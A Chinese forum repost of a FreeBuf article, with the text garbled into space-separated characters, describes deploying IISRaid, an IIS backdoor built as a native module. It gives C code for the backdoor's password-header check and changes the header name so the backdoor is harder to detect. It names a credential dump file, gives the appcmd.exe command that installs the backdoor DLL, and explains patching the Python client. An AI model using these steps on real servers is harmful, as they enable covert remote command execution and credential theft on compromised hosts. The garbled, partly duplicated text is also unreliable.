搜索

[15375] 2020-05-15_IISRaid：使用本地模块构建的IIS后门

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2020-05-15_IISRaid：使用本地模块构建的IIS后门 I I S   R a i d ： 使 用 本 地 模 块 构 建 的 I I S 后 门 C a 3 t i e 1   F r e e B u f   2 0 2 0 - 0 5 - 1 5 0 x 0 0   简 介 简 介 之 前 刷 之 前 刷 T W 的 时 候 在 墙 外 看 到 老 外 分 享 的 这 款 使 用 的 时 候 在 墙 外 看 到 老 外 分 享 的 这 款 使 用 I I S 的 本 地 模 块 构 建 的 本 地 模 块 构 建 I I S 后 门 ， 功 能 可 以 自 定 义 命 令 执 行 ， 后 门 ， 功 能 可 以 自 定 义 命 令 执 行 ， d u m h a s h 等 。 感 觉 不 错 。 于 是 下 了 下 来 试 了 下 ， 测 试 有 一 点 小 瑕 疵 ， 随 即 修 等 。 感 觉 不 错 。 于 是 下 了 下 来 试 了 下 ， 测 试 有 一 点 小 瑕 疵 ， 随 即 修 改 了 下 ， 原 版 项 目 地 址 改 了 下 ， 原 版 项 目 地 址 ( h t t p s : / / g i t h u b . c o m / 0 x 0 9 A L / I I S - R a i d ) 。 。 0 x 0 1   安 装 和 部 署 安 装 和 部 署 自 定 义 密 码 字 段 自 定 义 密 码 字 段 在 使 用 之 前 你 得 修 改 默 认 密 码 ， 已 放 置 别 人 蹭 你 后 门 。 代 码 在 / m o d u l e / F u n c t i o n s . h 中 定 义 ， 如 下 ： S I M P L E P A S S   就 是 自 定 义 的 密 码 值 ， 连 接 后 门 的 时 候 在 H t t p H e a d e r 中 定 义 ， 但 是 这 里 原 版 的 定 义 密 码 的 H T T P 头 字 段 始 终 是 一 个 值 ( X - P a s s w o r d ) 。 这 无 疑 是 一 个 典 型 的 特 征 了 ， 所 以 这 里 得 实 现 自 定 义 这 个 字 段 值 ， 在 以 上 定 义 代 码 中 添 加 一 个 常 量 C O M _ P A S S W D ， 如 下 代 码 ： 然 后 再 更 改 / m o d u l e / H t t p F a c t o r y . c p p 3 9 行 代 码 替 换 掉 X - P a s s w o r d 值 为 自 定 义 的 常 量 ， 如 下 代 码 ： 安 装 安 装 安 装 比 较 简 单 ， 可 以 直 接 在 命 令 行 下 使 用 a p p c m d . e x e 命 令 安 装 ， 命 令 如 下 ： 安 装 成 功 后 入 下 图 所 示 ： 0 x 0 2   使 用 使 用 客 户 端 是 p y 写 的 一 个 脚 本 ， 但 貌 似 编 码 有 点 问 题 ， 运 行 时 候 回 报 错 ， 需 要 去 掉 p y 脚 本 里 的 b a n n e r 字 符 串 就 可 以 正 常 了 。 如 果 自 定 义 了 密 码 字 段 名 还 需 要 修 改 下 脚 本 以 便 支 持 自 定 义 H T T P 头 字 段 。 如 下 图 ： 添 加 个 — h e a d p a s s 的 命 令 行 参 数 把 自 定 义 的 H T T 头 字 段 名 加 入 到 H t t p H e a d e r 中 连 接 成 功 入 后 如 下 图 所 示 ： / /   C o m m u n i c a t i o n   H e a d e r   f o r   t h e   R e s p o n s e . # d e f i n e   C O M _ H E A D E R   " X - C h r o m e - V a r i a t i o n s " # d e f i n e   P A S S _ F I L E   " C : W i n d o w s T e m p c r e d s . d b " # d e f i n e   P A S S W O R D   " S I M P L E P A S S " / /   C o m m u n i c a t i o n   H e a d e r   f o r   t h e   R e s p o n s e . # d e f i n e   C O M _ H E A D E R   " X - C h r o m e - V a r i a t i o n s " # d e f i n e   C O M _ P A S S W D   " X - C T - B A L A " # d e f i n e   P A S S _ F I L E   " C : W i n d o w s T e m p c r e d s . d b " # d e f i n e   P A S S W O R D   " S I M P L E P A S S " / /   C h e c k   t h e   h e a d e r   p a s s w o r d         U S H O R T   u P L e n   =   0 ;         L P C S T R   l p P a s s w o r d   =   p H t t p R e q u e s t - > G e t H e a d e r ( C O M _ P A S S W D ,   & u P L e n ) ;         i f   ( l p P a s s w o r d   = =   N U L L )   {                 r e t u r n   R Q _ N O T I F I C A T I O N _ C O N T I N U E ;         }         e l s e   i f   ( s t r c m p ( P A S S W O R D ,   l p P a s s w o r d )   ! =   0 )   {                 r e t u r n   R Q _ N O T I F I C A T I O N _ C O N T I N U E ;         } C : W i n d o w s s y s t e m 3 2 i n e t s r v A P P C M D . E X E   i n s t a l l   m o d u l e   / n a m e : M o d u l e   N a m e   / i m a g e : " % w i n d i r % S y s t e m 3 2 i n e t s r v I I S - B a c k d o o r . d l l "   / a d d : t r u e
0 x 0 3   参 考 参 考 原 文   h t t p s : / / w w w . m d s e c . c o . u k / 2 0 2 0 / 0 2 / i i s - r a i d - b a c k d o o r i n g - i i s - u s i n g - n a t i v e - m o d u l e s / 演 示   h t t p s : / / y o u t u . b e / j b x E W O X e c u U * 本 文 作 者 ： 本 文 作 者 ： C a 3 t i e 1 ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理